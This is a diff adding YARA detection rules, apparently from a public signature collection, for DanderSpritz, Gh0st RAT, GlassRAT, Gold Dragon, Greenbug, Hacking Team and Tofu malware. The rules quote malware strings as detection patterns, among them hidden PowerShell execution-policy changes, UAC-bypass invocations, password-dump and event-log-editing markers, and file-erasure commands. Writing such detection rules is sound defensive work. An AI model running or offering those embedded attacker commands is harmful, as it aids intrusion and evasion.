strings:
|
||||
$x1 = "Danderspritz" ascii wide fullword
|
||||
$x2 = "DanderSpritz" ascii wide fullword
|
||||
$x3 = "PeddleCheap" ascii wide fullword
|
||||
$x4 = "ChimneyPool Addres" ascii wide fullword
|
||||
|
||||
$a1 = "Getting remote time" fullword ascii
|
||||
$a2 = "RETRIEVED" fullword ascii
|
||||
|
||||
$b1 = "Added Ops library to Python search path" fullword ascii
|
||||
$b2 = "target: z0.0.0.1" fullword ascii
|
||||
|
||||
$c1 = "Psp_Avoidance" fullword ascii
|
||||
$c2 = "PasswordDump" fullword ascii
|
||||
$c4 = "EventLogEdit" fullword ascii
|
||||
|
||||
$d1 = "Mcl_NtElevation" fullword ascii wide
|
||||
$d2 = "Mcl_NtNativeApi" fullword ascii wide
|
||||
$d3 = "Mcl_ThreatInject" fullword ascii wide
|
||||
$d4 = "Mcl_NtMemory" fullword ascii wide
|
||||
condition:
|
||||
filesize < 2000KB and (
|
||||
1 of ($x*) or
|
||||
all of ($a*) or
|
||||
1 of ($b*) or
|
||||
( uint16(0) == 0x5a4d and 1 of ($c*) ) or
|
||||
3 of ($c*) or
|
||||
( uint16(0) == 0x5a4d and 3 of ($d*) )
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-04-23
|
||||
Identifier: Ghost Dragon Gh0st RAT
|
||||
*/
|
||||
|
||||
rule GhostDragon_Gh0stRAT {
|
||||
meta:
|
||||
description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://blog.cylance.com/the-ghost-dragon"
|
||||
date = "2016-04-23"
|
||||
hash1 = "f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197"
|
||||
hash2 = "99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2"
|
||||
hash3 = "6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df"
|
||||
hash4 = "b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5"
|
||||
strings:
|
||||
$x1 = "REG ADD HKEY_LOCAL_MACHINE\\%s /v ServiceDll /t REG_EXPAND_SZ /d \"%s\"" fullword ascii
|
||||
$x2 = "Global\\REALCHEL_GLOBAL_SUBMIT_20031020_" fullword ascii
|
||||
$x3 = "\\xclolg2.tmp" fullword ascii
|
||||
$x4 = "Http/1.1 403 Forbidden" fullword ascii
|
||||
$x5 = "%sxsd%d.pif" fullword ascii
|
||||
$x6 = "%s\\%s32.dl_" fullword ascii
|
||||
$x7 = "%-23s %-16s 0x%x(%02d)" fullword ascii
|
||||
$x8 = "RegSetValueEx(start)" fullword ascii
|
||||
$x9 = "%s\\%s64.dl_" fullword ascii
|
||||
$x10 = "$#REGMASTERKEY$ WebCat was successfully started" fullword wide
|
||||
|
||||
$s1 = "viewsc.dll" fullword ascii
|
||||
$s2 = "Proxy-Connection: Keep-Alive" fullword ascii
|
||||
$s3 = "\\sfc_os.dll" fullword ascii
|
||||
$s4 = "Mozilla/4.0 (compatible)" fullword ascii
|
||||
$s5 = "Http/1.1 403 Forbidden" fullword ascii
|
||||
$s6 = "CONNECT %s:%d HTTP/1.1" fullword ascii
|
||||
$s7 = "WindowsUpperVersion" fullword ascii
|
||||
$s8 = "[%d-%d-%d %d:%d:%d] (%s)" fullword ascii
|
||||
$s9 = "SOFTWARE\\Microsoft\\DataAccess\\%s" fullword ascii
|
||||
$s10 = "%s sp%d(%d)" fullword ascii
|
||||
$s11 = "OpenSC ERROR " fullword ascii
|
||||
$s12 = "get rgspath error " fullword ascii
|
||||
$s13 = "Global\\GLOBAL_SUBMIT_0234_" fullword ascii
|
||||
$s14 = "Global\\_vc_ck_ %d" fullword ascii
|
||||
condition:
|
||||
(
|
||||
uint16(0) == 0x5a4d and filesize < 500KB
|
||||
and (
|
||||
1 of ($x*) or 4 of ($s*)
|
||||
)
|
||||
) or ( 6 of them )
|
||||
}
|
||||
|
||||
rule GhostDragon_Gh0stRAT_Sample2 {
|
||||
meta:
|
||||
description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://blog.cylance.com/the-ghost-dragon"
|
||||
date = "2016-04-23"
|
||||
hash1 = "71a52058f6b5cef66302c19169f67cf304507b4454cca83e2c36151da8da1d97"
|
||||
strings:
|
||||
$x1 = "AdobeWpk" fullword ascii
|
||||
$x2 = "seekin.dll" fullword ascii
|
||||
|
||||
$c1 = "Windows NT 6.1; Trident/6.0)" fullword ascii
|
||||
$c2 = "Mozilla/5.0 (compatible; MSIE 10.0; " fullword ascii
|
||||
condition:
|
||||
(
|
||||
uint16(0) == 0x5a4d and filesize < 80KB and (
|
||||
all of ($x*) or all of ($c*)
|
||||
)
|
||||
) or ( all of them )
|
||||
}
|
||||
|
||||
rule GhostDragon_Gh0stRAT_Sample3 {
|
||||
meta:
|
||||
description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://blog.cylance.com/the-ghost-dragon"
|
||||
date = "2016-04-23"
|
||||
hash1 = "1be9c68b31247357328596a388010c9cfffadcb6e9841fb22de8b0dc2d161c42"
|
||||
strings:
|
||||
$op1 = { 44 24 15 65 88 54 24 16 c6 44 24 }
|
||||
$op2 = { 44 24 1b 43 c6 44 24 1c 75 88 54 24 1e }
|
||||
$op3 = { 1e 79 c6 44 24 1f 43 c6 44 24 20 75 88 54 24 22 }
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: RSA RESEARCH, Florian Roth
|
||||
Date: 2015-11-23
|
||||
Identifier: GlassRAT
|
||||
*/
|
||||
|
||||
rule glassRAT
|
||||
{
|
||||
meta:
|
||||
author = "RSA RESEARCH"
|
||||
date = "3 Nov 2015"
|
||||
description = "Detects GlassRAT by RSA (modified by Florian Roth - speed improvements)"
|
||||
Info = "GlassRat"
|
||||
/* MD5s
|
||||
37adc72339a0c2c755e7fef346906330
|
||||
59b404076e1af7d0faae4a62fa41b69f
|
||||
5c17395731ec666ad0056d3c88e99c4d
|
||||
e98027f502f5acbcb5eda17e67a21cdc
|
||||
87a965cf75b2da112aea737220f2b5c2
|
||||
22e01495b4419b564d5254d2122068d9
|
||||
42b57c0c4977a890ecb0ea9449516075
|
||||
b7f2020208ebd137616dadb60700b847 */
|
||||
strings:
|
||||
$bin1 = {85 C0 B3 01} /* test eax, eax
|
||||
mov bl, 1 */
|
||||
// $bin2 = {34 02} // xor al, 2 ---> XOR key for rundll32.exe
|
||||
$bin3 = {68 4C 50 00 10} // push offset KeyName ; "2"
|
||||
$bin4 = {68 48 50 00 10} // push offset a3 ; "3"
|
||||
$bin5 = {68 44 50 00 10} // push offset a4 ; "4"
|
||||
$hs = {CB FF 5D C9 AD 3F 5B A1 54 13 FE FB 05 C6 22} // Initial Handshake ---> can be added or removed for hunting for different variants
|
||||
//$re1 = {50 00 00 00}
|
||||
//$re2 = {BB 01 00 00}
|
||||
// Dwords of C2 Ports (80 | 443 | 53) 2 -3 times
|
||||
$s1 = "pwlfnn10,gzg" // rundll32.exe XOR 02
|
||||
$s2 = "AddNum"
|
||||
$s3 = "ServiceMain"
|
||||
$s4 = "The Window"
|
||||
$s5 = "off.dat"
|
||||
condition:
|
||||
all of ($bin*) and $hs and 3 of ($s*) //The conditions can be adjusted for hunting for different variants
|
||||
}
|
||||
|
||||
rule GlassRAT_Generic {
|
||||
meta:
|
||||
description = "Detects GlassRAT Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://blogs.rsa.com/peering-into-glassrat/"
|
||||
date = "2015-11-23"
|
||||
score = 80
|
||||
hash1 = "30d26aebcee21e4811ff3a44a7198a5c519843a24f334880384a7158e07ae399"
|
||||
hash2 = "3bdeb3805e9230361fb93c6ffb0bfec8d3aee9455d95b2428c7f6292d387d3a4"
|
||||
hash3 = "79993f1912958078c4d98503e00dc526eb1d0ca4d020d17b010efa6c515ca92e"
|
||||
hash4 = "a9b30b928ebf9cda5136ee37053fa045f3a53d0706dcb2343c91013193de761e"
|
||||
hash5 = "c11faf7290299bb13925e46d040ed59ab3ca8938eab1f171aa452603602155cb"
|
||||
hash6 = "d95fa58a81ab2d90a8cbe05165c00f9c8ad5b4f49e98df2ad391f5586893490d"
|
||||
hash7 = "f1209eb95ce1319af61f371c7f27bf6846eb90f8fd19e8d84110ebaf4744b6ea"
|
||||
strings:
|
||||
$s1 = "cmd.exe /c %s" fullword ascii
|
||||
$s2 = "update.dll" fullword ascii
|
||||
$s3 = "SYSTEM\\CurrentControlSet\\Services\\RasAuto\\Parameters" fullword ascii
|
||||
$s4 = "%%temp%%\\%u" fullword ascii
|
||||
$s5 = "\\off.dat" fullword ascii
|
||||
$s6 = "rundll32 \"%s\",AddNum" fullword ascii
|
||||
$s7 = "cmd.exe /c erase /F \"%s\"" fullword ascii
|
||||
$s8 = "SYSTEM\\ControlSet00%d\\Services\\RasAuto" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 15MB and 5 of them
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2018-02-03
|
||||
Identifier: Gold Dragon
|
||||
Reference: https://goo.gl/rW1yvZ
|
||||
*/
|
||||
|
||||
import "pe"
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule GoldDragon_malware_Feb18_1 {
|
||||
meta:
|
||||
description = "Detects malware from Gold Dragon report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"
|
||||
date = "2018-02-03"
|
||||
score = 90
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 300KB and (
|
||||
pe.imphash() == "168c2f7752511dfd263a83d5d08a90db" or
|
||||
pe.imphash() == "0606858bdeb129de33a2b095d7806e74" or
|
||||
pe.imphash() == "51d992f5b9e01533eb1356323ed1cb0f" or
|
||||
pe.imphash() == "bb801224abd8562f9ee8fb261b75e32a"
|
||||
)
|
||||
}
|
||||
|
||||
rule GoldDragon_Aux_File {
|
||||
meta:
|
||||
description = "Detects export from Gold Dragon - February 2018"
|
||||
author = "Florian Roth"
|
||||
reference = "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"
|
||||
date = "2018-02-03"
|
||||
score = 90
|
||||
strings:
|
||||
$x1 = "/////////////////////regkeyenum////////////" ascii
|
||||
condition:
|
||||
filesize < 500KB and 1 of them
|
||||
}
|
||||
|
||||
rule GoldDragon_Ghost419_RAT {
|
||||
meta:
|
||||
description = "Detects Ghost419 RAT from Gold Dragon report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/rW1yvZ"
|
||||
date = "2018-02-03"
|
||||
hash1 = "45bfa1327c2c0118c152c7192ada429c6d4ae03b8164ebe36ab5ba9a84f5d7aa"
|
||||
hash2 = "ee7a9a7589cbbcac8b6bf1a3d9c5d1c1ada98e68ac2f43ff93f768661b7e4a85"
|
||||
hash3 = "dee482e5f461a8e531a6a7ea4728535aafdc4941a8939bc3c55f6cb28c46ad3d"
|
||||
hash4 = "2df9e274ce0e71964aca4183cec01fb63566a907981a9e7384c0d73f86578fe4"
|
||||
hash5 = "111ab6aa14ef1f8359c59b43778b76c7be5ca72dc1372a3603cd5814bfb2850d"
|
||||
hash6 = "0ca12b78644f7e4141083dbb850acbacbebfd3cfa17a4849db844e3f7ef1bee5"
|
||||
hash7 = "ae1b32aac4d8a35e2c62e334b794373c7457ebfaaab5e5e8e46f3928af07cde4"
|
||||
hash8 = "c54837d0b856205bd4ae01887aae9178f55f16e0e1a1e1ff59bd18dbc8a3dd82"
|
||||
hash9 = "db350bb43179f2a43a1330d82f3afeb900db5ff5094c2364d0767a3e6b97c854"
|
||||
strings:
|
||||
$x1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)" fullword ascii
|
||||
$x2 = "WebKitFormBoundarywhpFxMBe19cSjFnG" ascii
|
||||
$x3 = "\\Microsoft\\HNC\\" fullword ascii
|
||||
$x4 = "\\anternet abplorer" fullword ascii
|
||||
$x5 = "%s\\abxplore.exe" fullword ascii
|
||||
$x6 = "GHOST419" fullword ascii
|
||||
$x7 = "I,m Online. %04d - %02d - %02d - %02d - %02d" fullword ascii
|
||||
$x8 = "//////////////////////////regkeyenum//////////////" fullword ascii
|
||||
|
||||
$s1 = "www.GoldDragon.com" fullword ascii
|
||||
$s2 = "/c systeminfo >> %s" fullword ascii
|
||||
$s3 = "/c dir %s\\ >> %s" fullword ascii
|
||||
$s4 = "DownLoading %02x, %02x, %02x" fullword ascii
|
||||
$s5 = "Tran_dll.dll" fullword ascii
|
||||
$s6 = "MpCmdRunkr.dll" fullword ascii
|
||||
$s7 = "MpCmdRun.dll" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 200KB and (
|
||||
pe.exports("ExportFunction") or
|
||||
1 of ($x*) or
|
||||
2 of them
|
||||
)
|
||||
}
|
||||
|
||||
rule GoldDragon_RunningRAT {
|
||||
meta:
|
||||
description = "Detects Running RAT from Gold Dragon report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/rW1yvZ"
|
||||
date = "2018-02-03"
|
||||
hash1 = "0852f2c5741997d8899a34bb95c349d7a9fb7277cd0910656c3ce37a6f11cb88"
|
||||
hash2 = "2981e1a1b3c395cee6e4b9e6c46d062cf6130546b04401d724750e4c8382c863"
|
||||
hash3 = "7aa99ebc49a130f07304ed25655862a04cc20cb59d129e1416a7dfa04f7d3e51"
|
||||
strings:
|
||||
$x1 = "C:\\USERS\\WIN7_x64\\result.log" fullword wide
|
||||
$x2 = "rundll32.exe %s RunningRat" fullword ascii
|
||||
$x3 = "SystemRat.dll" fullword ascii
|
||||
$x4 = "rundll32.exe %s ExportFunction" fullword ascii
|
||||
$x5 = "rundll32.exe \"%s\" RunningRat" fullword ascii
|
||||
$x6 = "ixeorat.bin" fullword ascii
|
||||
$x7 = "C:\\USERS\\Public\\result.log" fullword ascii
|
||||
|
||||
$a1 = "emanybtsohteg" fullword ascii /* reversed goodware string 'gethostbyname' */
|
||||
$a2 = "tekcosesolc" fullword ascii /* reversed goodware string 'closesocket' */
|
||||
$a3 = "emankcosteg" fullword ascii /* reversed goodware string 'getsockname' */
|
||||
$a4 = "emantsohteg" fullword ascii /* reversed goodware string 'gethostname' */
|
||||
$a5 = "tpokcostes" fullword ascii /* reversed goodware string 'setsockopt' */
|
||||
$a6 = "putratSASW" fullword ascii /* reversed goodware string 'WSAStartup' */
|
||||
|
||||
$s1 = "ParentDll.dll" fullword ascii
|
||||
$s2 = "MR - Already Existed" fullword ascii
|
||||
$s3 = "MR First Started, Registed OK!" fullword ascii
|
||||
$s4 = "RM-M : LoadResource OK!" fullword ascii
|
||||
$s5 = "D:\\result.log" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 300KB and (
|
||||
pe.imphash() == "c78ccc8f02286648c4373d3bf03efc43" or
|
||||
pe.exports("RunningRat") or
|
||||
1 of ($x*) or
|
||||
5 of ($a*) or
|
||||
3 of ($s*)
|
||||
)
|
||||
}
|
||||
|
||||
rule GoldDragon_RunnignRAT {
|
||||
meta:
|
||||
description = "Detects Running RAT malware from Gold Dragon report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/rW1yvZ"
|
||||
date = "2018-02-03"
|
||||
hash1 = "94aa827a514d7aa70c404ec326edaaad4b2b738ffaea5a66c0c9f246738df579"
|
||||
hash2 = "5cbc07895d099ce39a3142025c557b7fac41d79914535ab7ffc2094809f12a4b"
|
||||
hash3 = "98ccf3a463b81a47fdf4275e228a8f2266e613e08baae8bdcd098e49851ed49a"
|
||||
strings:
|
||||
$s1 = "cmd.exe /c systeminfo " fullword ascii
|
||||
$s2 = "ieproxy.dll" fullword ascii
|
||||
$s3 = "taskkill /f /im daumcleaner.exe" fullword ascii
|
||||
$s4 = "cmd.exe /c tasklist " fullword ascii
|
||||
$s5 = "rundll32.exe \"%s\" Run" fullword ascii
|
||||
$s6 = "Mozilla/5.0 (Windows NT 5.2; rv:12.0) Gecko/20100101 Firefox/12.0" fullword ascii
|
||||
$s7 = "%s\\%s_%03d" fullword wide
|
||||
$s8 = "\\PI_001.dat" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 3000KB and (
|
||||
3 of them
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,156 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-01-25
|
||||
Identifier: Greenbug Malware
|
||||
*/
|
||||
|
||||
import "pe"
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule Greenbug_Malware_1 {
|
||||
meta:
|
||||
description = "Detects Malware from Greenbug Incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/urp4CD"
|
||||
date = "2017-01-25"
|
||||
hash1 = "dab460a0b73e79299fbff2fa301420c1d97a36da7426acc0e903c70495db2b76"
|
||||
strings:
|
||||
$s1 = "vailablez" fullword ascii
|
||||
$s2 = "Sfouglr" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 400KB and all of them )
|
||||
}
|
||||
|
||||
rule Greenbug_Malware_2 {
|
||||
meta:
|
||||
description = "Detects Backdoor from Greenbug Incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/urp4CD"
|
||||
date = "2017-01-25"
|
||||
hash1 = "6b28a43eda5b6f828a65574e3f08a6d00e0acf84cbb94aac5cec5cd448a4649d"
|
||||
hash2 = "21f5e60e9df6642dbbceca623ad59ad1778ea506b7932d75ea8db02230ce3685"
|
||||
hash3 = "319a001d09ee9d754e8789116bbb21a3c624c999dae9cf83fde90a3fbe67ee6c"
|
||||
strings:
|
||||
$x1 = "|||Command executed successfully" fullword ascii
|
||||
$x2 = "\\Release\\Bot Fresh.pdb" ascii
|
||||
$x3 = "C:\\ddd\\a1.txt" fullword wide
|
||||
$x4 = "Bots\\Bot5\\x64\\Release" ascii
|
||||
$x5 = "Bot5\\Release\\Ism.pdb" ascii
|
||||
$x6 = "Bot\\Release\\Ism.pdb" ascii
|
||||
$x7 = "\\Bot Fresh\\Release\\Bot" ascii
|
||||
|
||||
$s1 = "/Home/SaveFile?commandId=CmdResult=" fullword wide
|
||||
$s2 = "raB3G:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday" fullword ascii
|
||||
$s3 = "Set-Cookie:\\b*{.+?}\\n" fullword wide
|
||||
$s4 = "SELECT * FROM AntiVirusProduct" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 1000KB and ( 1 of ($x*) or 2 of them ) ) or ( 3 of them )
|
||||
}
|
||||
|
||||
rule Greenbug_Malware_3 {
|
||||
meta:
|
||||
description = "Detects Backdoor from Greenbug Incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/urp4CD"
|
||||
date = "2017-01-25"
|
||||
super_rule = 1
|
||||
hash1 = "44bdf5266b45185b6824898664fd0c0f2039cdcb48b390f150e71345cd867c49"
|
||||
hash2 = "7f16824e7ad9ee1ad2debca2a22413cde08f02ee9f0d08d64eb4cb318538be9c"
|
||||
strings:
|
||||
$x1 = "F:\\Projects\\Bot\\Bot\\Release\\Ism.pdb" fullword ascii
|
||||
$x2 = "C:\\ddd\\wer2.txt" fullword wide
|
||||
$x3 = "\\Microsoft\\Windows\\tmp43hh11.txt" fullword wide
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule Greenbug_Malware_4 {
|
||||
meta:
|
||||
description = "Detects ISMDoor Backdoor"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/urp4CD"
|
||||
date = "2017-01-25"
|
||||
super_rule = 1
|
||||
hash1 = "308a646f57c8be78e6a63ffea551a84b0ae877b23f28a660920c9ba82d57748f"
|
||||
hash2 = "82beaef407f15f3c5b2013cb25901c9fab27b086cadd35149794a25dce8abcb9"
|
||||
strings:
|
||||
$s1 = "powershell.exe -nologo -windowstyle hidden -c \"Set-ExecutionPolicy -scope currentuser" fullword ascii
|
||||
$s2 = "powershell.exe -c \"Set-ExecutionPolicy -scope currentuser -ExecutionPolicy unrestricted -f; . \"" fullword ascii
|
||||
$s3 = "c:\\windows\\temp\\tmp8873" fullword ascii
|
||||
$s4 = "taskkill /im winit.exe /f" fullword ascii
|
||||
$s5 = "invoke-psuacme"
|
||||
$s6 = "-method oobe -payload \"\"" fullword ascii
|
||||
$s7 = "C:\\ProgramData\\stat2.dat" fullword wide
|
||||
$s8 = "Invoke-bypassuac" fullword ascii
|
||||
$s9 = "Start Keylog Done" fullword wide
|
||||
$s10 = "Microsoft\\Windows\\WinIt.exe" fullword ascii
|
||||
$s11 = "Microsoft\\Windows\\Tmp9932u1.bat\"" fullword ascii
|
||||
$s12 = "Microsoft\\Windows\\tmp43hh11.txt" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them ) or ( 3 of them )
|
||||
}
|
||||
|
||||
rule Greenbug_Malware_5 {
|
||||
meta:
|
||||
description = "Auto-generated rule"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/urp4CD"
|
||||
date = "2017-01-25"
|
||||
super_rule = 1
|
||||
hash1 = "308a646f57c8be78e6a63ffea551a84b0ae877b23f28a660920c9ba82d57748f"
|
||||
hash2 = "44bdf5266b45185b6824898664fd0c0f2039cdcb48b390f150e71345cd867c49"
|
||||
hash3 = "7f16824e7ad9ee1ad2debca2a22413cde08f02ee9f0d08d64eb4cb318538be9c"
|
||||
hash4 = "82beaef407f15f3c5b2013cb25901c9fab27b086cadd35149794a25dce8abcb9"
|
||||
strings:
|
||||
$x1 = "cmd /u /c WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter" fullword ascii
|
||||
$x2 = "cmd /a /c net user administrator /domain >>" fullword ascii
|
||||
$x3 = "cmd /a /c netstat -ant >>\"%localappdata%\\Microsoft\\" fullword ascii
|
||||
|
||||
$o1 = "========================== (Net User) ==========================" ascii fullword
|
||||
condition:
|
||||
filesize < 2000KB and (
|
||||
( uint16(0) == 0x5a4d and 1 of them ) or
|
||||
$o1
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-11-26
|
||||
Identifier: Greenbug
|
||||
Reference: http://www.clearskysec.com/greenbug/
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule Greenbug_Malware_Nov17_1 {
|
||||
meta:
|
||||
description = "Detects Greenbug Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "http://www.clearskysec.com/greenbug/"
|
||||
date = "2017-11-26"
|
||||
hash1 = "6e55e161dc9ace3076640a36ef4a8819bb85c6d5e88d8e852088478f79cf3b7c"
|
||||
hash2 = "a9f1375da973b229eb649dc3c07484ae7513032b79665efe78c0e55a6e716821"
|
||||
strings:
|
||||
$x1 = "AgentV2.exe -c SampleDomain.com" fullword ascii
|
||||
$x2 = ".ntpupdateserver.com" fullword ascii
|
||||
$x3 = "Content-Disposition: form-data; name=\"file\"; filename=\"a.a\"" fullword ascii
|
||||
$x4 = "a67d0db885a3432576548a2a03707334" fullword ascii
|
||||
$x5 = "a67d0db8a2a173347654432503702aa3" fullword ascii
|
||||
$x6 = "!!! can not create output file !!!" fullword ascii
|
||||
|
||||
$s1 = "\\runlog*" fullword ascii
|
||||
$s2 = "can not specify username!!" fullword ascii
|
||||
$s3 = "Agent can not be configured" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 400KB and (
|
||||
pe.imphash() == "58ba44f7ff5436a603fec3df97d815ea" or
|
||||
pe.imphash() == "538805ecd776b9a42e71aebf94fde1b1" or
|
||||
1 of ($x*) or
|
||||
3 of them
|
||||
)
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,82 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2015-07-07
|
||||
Identifier: HackingTeam
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule bin_ndisk {
|
||||
meta:
|
||||
description = "Hacking Team Disclosure Sample - file ndisk.sys"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.virustotal.com/en/file/a03a6ed90b89945a992a8c69f716ec3c743fa1d958426f4c50378cca5bef0a01/analysis/1436184181/"
|
||||
date = "2015-07-07"
|
||||
score = 100
|
||||
hash = "cf5089752ba51ae827971272a5b761a4ab0acd84"
|
||||
strings:
|
||||
$s1 = "\\Registry\\Machine\\System\\ControlSet00%d\\services\\ndisk.sys" fullword wide
|
||||
$s2 = "\\Registry\\Machine\\System\\ControlSet00%d\\Enum\\Root\\LEGACY_NDISK.SYS" fullword wide
|
||||
$s3 = "\\Driver\\DeepFrz" fullword wide
|
||||
$s4 = "Microsoft Kernel Disk Manager" fullword wide
|
||||
$s5 = "ndisk.sys" fullword wide
|
||||
$s6 = "\\Device\\MSH4DEV1" fullword wide
|
||||
$s7 = "\\DosDevices\\MSH4DEV1" fullword wide
|
||||
$s8 = "built by: WinDDK" fullword wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 30KB and 6 of them
|
||||
}
|
||||
|
||||
rule Hackingteam_Elevator_DLL {
|
||||
meta:
|
||||
description = "Hacking Team Disclosure Sample - file elevator.dll"
|
||||
author = "Florian Roth"
|
||||
reference = "http://t.co/EG0qtVcKLh"
|
||||
date = "2015-07-07"
|
||||
score = 70
|
||||
hash = "b7ec5d36ca702cc9690ac7279fd4fea28d8bd060"
|
||||
strings:
|
||||
$s1 = "\\sysnative\\CI.dll" fullword ascii
|
||||
$s2 = "setx TOR_CONTROL_PASSWORD" fullword ascii
|
||||
$s3 = "mitmproxy0" fullword ascii
|
||||
$s4 = "\\insert_cert.exe" fullword ascii
|
||||
$s5 = "elevator.dll" fullword ascii
|
||||
$s6 = "CRTDLL.DLL" fullword ascii
|
||||
$s7 = "fail adding cert" fullword ascii
|
||||
$s8 = "DownloadingFile" fullword ascii
|
||||
$s9 = "fail adding cert: %s" fullword ascii
|
||||
$s10 = "InternetOpenA fail" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 1000KB and 6 of them
|
||||
}
|
||||
|
||||
rule HackingTeam_Elevator_EXE {
|
||||
meta:
|
||||
description = "Hacking Team Disclosure Sample - file elevator.exe"
|
||||
author = "Florian Roth"
|
||||
reference = "Hacking Team Disclosure elevator.c"
|
||||
date = "2015-07-07"
|
||||
score = 70
|
||||
hash1 = "40a10420b9d49f87527bc0396b19ec29e55e9109e80b52456891243791671c1c"
|
||||
hash2 = "92aec56a859679917dffa44bd4ffeb5a8b2ee2894c689abbbcbe07842ec56b8d"
|
||||
hash = "9261693b67b6e379ad0e57598602712b8508998c0cb012ca23139212ae0009a1"
|
||||
strings:
|
||||
$x1 = "CRTDLL.DLL" fullword ascii
|
||||
$x2 = "\\sysnative\\CI.dll" fullword ascii
|
||||
$x3 = "\\SystemRoot\\system32\\CI.dll" fullword ascii
|
||||
$x4 = "C:\\\\Windows\\\\Sysnative\\\\ntoskrnl.exe" fullword ascii /* PEStudio Blacklist: strings */
|
||||
|
||||
$s1 = "[*] traversing processes" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s2 = "_getkprocess" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s3 = "[*] LoaderConfig %p" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s4 = "loader.obj" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s5 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3" ascii /* PEStudio Blacklist: strings */
|
||||
$s6 = "[*] token restore" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s7 = "elevator.obj" fullword ascii
|
||||
$s8 = "_getexport" fullword ascii /* PEStudio Blacklist: strings */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 3000KB and all of ($x*) and 3 of ($s*)
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Cylance
|
||||
Date: 2017-02-28
|
||||
Identifier: Jap Threat
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule Tofu_Backdoor {
|
||||
meta:
|
||||
description = "Detects Tofu Trojan"
|
||||
author = "Cylance"
|
||||
reference = "https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html"
|
||||
date = "2017-02-28"
|
||||
strings:
|
||||
$a = "Cookies: Sym1.0"
|
||||
$b = "\\\\.\\pipe\\1[12345678]"
|
||||
$c = {66 0F FC C1 0F 11 40 D0 0F 10 40 D0 66 0F EF C2 0F 11 40 D0 0F 10 40 E0}
|
||||
condition:
|
||||
$a or $b or $c
|
||||
}
|
||||
